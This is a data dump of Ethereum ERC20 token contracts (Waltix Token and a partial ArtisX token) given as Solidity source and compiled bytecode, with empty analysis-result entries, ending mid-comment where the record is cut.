81815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b6001600160a01b038116610959576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206c6f636b20746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b6001600160a01b038116600081815260056020908152604091829020805460ff19169055815192835290517f7e6adfec7e3f286831a0200a754127c171a2da564078722cb97704741bbdb0ea9281900390910190a150565b6001600160a01b0382166109f65760405162461bcd60e51b8152600401808060200182810382526021815260200180610d826021913960400191505060405180910390fd5b610a0282600083610b6f565b610a4581604051806060016040528060228152602001610cd2602291396001600160a01b038516600090815260208190526040902054919063ffffffff610b7416565b6001600160a01b038316600090815260208190526040902055600154610a71908263ffffffff610c6c16565b6001556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b6001600160a01b038116610b14576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206c6f636b20746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b6001600160a01b038116600081815260056020908152604091829020805460ff19166001179055815192835290517f44427e3003a08f22cf803894075ac0297524e09e521fc1c15bc91741ce3dc1599281900390910190a150565b505050565b60008184841115610c035760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610bc8578181015183820152602001610bb0565b50505050905090810190601f168015610bf55780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600082820183811015610c65576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b6000610c6583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610b7456fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e63654f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657245524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220cba14e51f6bbde9c2574abcdd5243660f5eaec8f8a48256eeb583062ca87f47764736f6c63430006020033
{"success": true, "error": null, "results": {}}
10,227
0x9573a4ae0d4b52d25a5abe8858299d66915f2f98
pragma solidity ^0.4.17; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } } /** * @title Pausable token * @dev StandardToken modified with pausable transfers. **/ contract PausableToken is StandardToken, Pausable { function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } contract WaltixToken is MintableToken, PausableToken { string public constant name = "Waltix Token"; string public constant symbol = "WLTX"; uint32 public constant decimals = 3; function WaltixToken() public { // --- сразу ставим токен на паузу // чтобы на этапе PreSale нельзя было переводить токены pause(); } }
0x606060405260043610610107576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b1461010c57806306fdde0314610139578063095ea7b3146101c757806318160ddd1461022157806323b872dd1461024a578063313ce567146102c35780633f4ba83a146102f857806340c10f191461030d5780635c975abb14610367578063661884631461039457806370a08231146103ee5780637d64bcb41461043b5780638456cb59146104685780638da5cb5b1461047d57806395d89b41146104d2578063a9059cbb14610560578063d73dd623146105ba578063dd62ed3e14610614578063f2fde38b14610680575b600080fd5b341561011757600080fd5b61011f6106b9565b604051808215151515815260200191505060405180910390f35b341561014457600080fd5b61014c6106cc565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561018c578082015181840152602081019050610171565b50505050905090810190601f1680156101b95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101d257600080fd5b610207600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610705565b604051808215151515815260200191505060405180910390f35b341561022c57600080fd5b610234610735565b6040518082815260200191505060405180910390f35b341561025557600080fd5b6102a9600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061073f565b604051808215151515815260200191505060405180910390f35b34156102ce57600080fd5b6102d6610771565b604051808263ffffffff1663ffffffff16815260200191505060405180910390f35b341561030357600080fd5b61030b610776565b005b341561031857600080fd5b61034d600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610836565b604051808215151515815260200191505060405180910390f35b341561037257600080fd5b61037a610a1c565b604051808215151515815260200191505060405180910390f35b341561039f57600080fd5b6103d4600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610a2f565b604051808215151515815260200191505060405180910390f35b34156103f957600080fd5b610425600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610a5f565b6040518082815260200191505060405180910390f35b341561044657600080fd5b61044e610aa7565b604051808215151515815260200191505060405180910390f35b341561047357600080fd5b61047b610b6f565b005b341561048857600080fd5b610490610c30565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156104dd57600080fd5b6104e5610c56565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561052557808201518184015260208101905061050a565b50505050905090810190601f1680156105525780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561056b57600080fd5b6105a0600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610c8f565b604051808215151515815260200191505060405180910390f35b34156105c557600080fd5b6105fa600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610cbf565b604051808215151515815260200191505060405180910390f35b341561061f57600080fd5b61066a600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610cef565b6040518082815260200191505060405180910390f35b341561068b57600080fd5b6106b7600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d76565b005b600360149054906101000a900460ff1681565b6040805190810160405280600c81526020017f57616c74697820546f6b656e000000000000000000000000000000000000000081525081565b6000600360159054906101000a900460ff1615151561072357600080fd5b61072d8383610ece565b905092915050565b6000600154905090565b6000600360159054906101000a900460ff1615151561075d57600080fd5b610768848484610fc0565b90509392505050565b600381565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156107d257600080fd5b600360159054906101000a900460ff1615156107ed57600080fd5b6000600360156101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561089457600080fd5b600360149054906101000a900460ff161515156108b057600080fd5b6108c58260015461137a90919063ffffffff16565b60018190555061091c826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461137a90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600360159054906101000a900460ff1681565b6000600360159054906101000a900460ff16151515610a4d57600080fd5b610a578383611398565b905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b0557600080fd5b600360149054906101000a900460ff16151515610b2157600080fd5b6001600360146101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610bcb57600080fd5b600360159054906101000a900460ff16151515610be757600080fd5b6001600360156101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600481526020017f574c54580000000000000000000000000000000000000000000000000000000081525081565b6000600360159054906101000a900460ff16151515610cad57600080fd5b610cb78383611629565b905092915050565b6000600360159054906101000a900460ff16151515610cdd57600080fd5b610ce78383611848565b905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610dd257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610e0e57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610ffd57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561104a57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156110d557600080fd5b611126826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a4490919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111b9826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461137a90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061128a82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a4490919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600080828401905083811015151561138e57fe5b8091505092915050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050808311156114a9576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061153d565b6114bc8382611a4490919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561166657600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156116b357600080fd5b611704826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a4490919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611797826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461137a90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60006118d982600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461137a90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000828211151515611a5257fe5b8183039050929150505600a165627a7a72305820d5097fc8329b38fd718bbc15f002c3c26b12d13a6e0bd7011054da4905082fe30029
{"success": true, "error": null, "results": {}}
10,228
0x64db5062c388e90448556b81354d14c6eb0ae9c8
pragma solidity ^0.4.21; /* * Creator: ARX (ArtisX) */ /* * Abstract Token Smart Contract * */ /* * Safe Math Smart Contract. * https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol */ contract SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function safeSub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * ERC-20 standard token interface, as defined * <a href="http://github.com/ethereum/EIPs/issues/20">here</a>. */ contract Token { function totalSupply() constant returns (uint256 supply); function balanceOf(address _owner) constant returns (uint256 balance); function transfer(address _to, uint256 _value) returns (bool success); function transferFrom(address _from, address _to, uint256 _value) returns (bool success); function approve(address _spender, uint256 _value) returns (bool success); function allowance(address _owner, address _spender) constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } /** * Abstract Token Smart Contract that could be used as a base contract for * ERC-20 token contracts. */ contract AbstractToken is Token, SafeMath { /** * Create new Abstract Token contract. */ function AbstractToken () { // Do nothing } /** * Get number of tokens currently belonging to given owner. * * @param _owner address to get number of tokens currently belonging to the * owner of * @return number of tokens currently belonging to the owner of given address */ function balanceOf(address _owner) constant returns (uint256 balance) { return accounts [_owner]; } /** * Transfer given number of tokens from message sender to given recipient. * * @param _to address to transfer tokens to the owner of * @param _value number of tokens to transfer to the owner of given address * @return true if tokens were transferred successfully, false otherwise * accounts [_to] + _value > accounts [_to] for overflow check * which is already in safeMath */ function transfer(address _to, uint256 _value) returns (bool success) { require(_to != address(0)); if (accounts [msg.sender] < _value) return false; if (_value > 0 && msg.sender != _to) { accounts [msg.sender] = safeSub (accounts [msg.sender], _value); accounts [_to] = safeAdd (accounts [_to], _value); } Transfer (msg.sender, _to, _value); return true; } /** * Transfer given number of tokens from given owner to given recipient. * * @param _from address to transfer tokens from the owner of * @param _to address to transfer tokens to the owner of * @param _value number of tokens to transfer from given owner to given * recipient * @return true if tokens were transferred successfully, false otherwise * accounts [_to] + _value > accounts [_to] for overflow check * which is already in safeMath */ function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { require(_to != address(0)); if (allowances [_from][msg.sender] < _value) return false; if (accounts [_from] < _value) return false; if (_value > 0 && _from != _to) { allowances [_from][msg.sender] = safeSub (allowances [_from][msg.sender], _value); accounts [_from] = safeSub (accounts [_from], _value); accounts [_to] = safeAdd (accounts [_to], _value); } Transfer(_from, _to, _value); return true; } /** * Allow given spender to transfer given number of tokens from message sender. * @param _spender address to allow the owner of to transfer tokens from message sender * @param _value number of tokens to allow to transfer * @return true if token transfer was successfully approved, false otherwise */ function approve (address _spender, uint256 _value) returns (bool success) { allowances [msg.sender][_spender] = _value; Approval (msg.sender, _spender, _value); return true; } /** * Tell how many tokens given spender is currently allowed to transfer from * given owner. * * @param _owner address to get number of tokens allowed to be transferred * from the owner of * @param _spender address to get number of tokens allowed to be transferred * by the owner of * @return number of tokens given spender is currently allowed to transfer * from given owner */ function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowances [_owner][_spender]; } /** * Mapping from addresses of token holders to the numbers of tokens belonging * to these token holders. */ mapping (address => uint256) accounts; /** * Mapping from addresses of token holders to the mapping of addresses of * spenders to the allowances set by these token holders to these spenders. */ mapping (address => mapping (address => uint256)) private allowances; } /** * ArtisX token smart contract. */ contract ARXToken is AbstractToken { /** * Maximum allowed number of tokens in circulation. * tokenSupply = tokensIActuallyWant * (10 ^ decimals) */ uint256 constant MAX_TOKEN_COUNT = 10000000 * (10**2); /** * Address of the owner of this smart contract. */ address private owner; /** * Frozen account list holder */ mapping (address => bool) private frozenAccount; /** * Current number of tokens in circulation. */ uint256 tokenCount = 0; /** * True if tokens transfers are currently frozen, false otherwise. */ bool frozen = false; /** * Create new token smart contract and make msg.sender the * owner of this smart contract. */ function ARXToken () { owner = msg.sender; } /** * Get total number of tokens in circulation. * * @return total number of tokens in circulation */ function totalSupply() constant returns (uint256 supply) { return tokenCount; } string constant public name = "ArtisX"; string constant public symbol = "ARX"; uint8 constant public decimals = 2; /** * Transfer given number of tokens from message sender to given recipient. * @param _to address to transfer tokens to the owner of * @param _value number of tokens to transfer to the owner of given address * @return true if tokens were transferred successfully, false otherwise */ function transfer(address _to, uint256 _value) returns (bool success) { require(!frozenAccount[msg.sender]); if (frozen) return false; else return AbstractToken.transfer (_to, _value); } /** * Transfer given number of tokens from given owner to given recipient. * * @param _from address to transfer tokens from the owner of * @param _to address to transfer tokens to the owner of * @param _value number of tokens to transfer from given owner to given * recipient * @return true if tokens were transferred successfully, false otherwise */ function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { require(!frozenAccount[_from]); if (frozen) return false; else return AbstractToken.transferFrom (_from, _to, _value); } /** * Change how many tokens given spender is allowed to transfer from message * spender. In order to prevent double spending of allowance, * To change the approve amount you first have to reduce the addresses` * allowance to zero by calling `approve(_spender, 0)` if it is not * already 0 to mitigate the race condition described here: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender address to allow the owner of to transfer tokens from * message sender * @param _value number of tokens to allow to transfer * @return true if token transfer was successfully approved, false otherwise */ function approve (address _spender, uint256 _value) returns (bool success) { require(allowance (msg.sender, _spender) == 0 || _value == 0); return AbstractToken.approve (_spender, _value); } /** * Create _value new tokens and give new created tokens to msg.sender. * May only be called by smart contract owner. * * @param _value number of tokens to create * @return true if tokens were created successfully, false otherwise */ function createTokens(uint256 _value) returns (bool success) { require (msg.sender == owner); if (_value > 0) { if (_value > safeSub (MAX_TOKEN_COUNT, tokenCount)) return false; accounts [msg.sender] = safeAdd (accounts [msg.sender], _value); tokenCount = safeAdd (tokenCount, _value); // adding transfer event and _from address as null address Transfer(0x0, msg.sender, _value); return true; } return false; } /** * Set new owner for the smart contract. * May only be called by smart contract owner. * * @param _newOwner address of new owner of the smart contract */ function setOwner(address _newOwner) { require (msg.sender == owner); owner = _newOwner; } /** * Freeze ALL token transfers. * May only be called by smart contract owner. */ function freezeTransfers () { require (msg.sender == owner); if (!frozen) { frozen = true; Freeze (); } } /** * Unfreeze ALL token transfers. * May only be called by smart contract owner. */ function unfreezeTransfers () { require (msg.sender == owner); if (frozen) { frozen = false; Unfreeze (); } } /*A user is able to unintentionally send tokens to a contract * and if the contract is not prepared to refund them they will get stuck in the contract. * The same issue used to happen for Ether too but new Solidity versions added the payable modifier to * prevent unintended Ether transfers. However, there’s no such mechanism for token transfers. * so the below 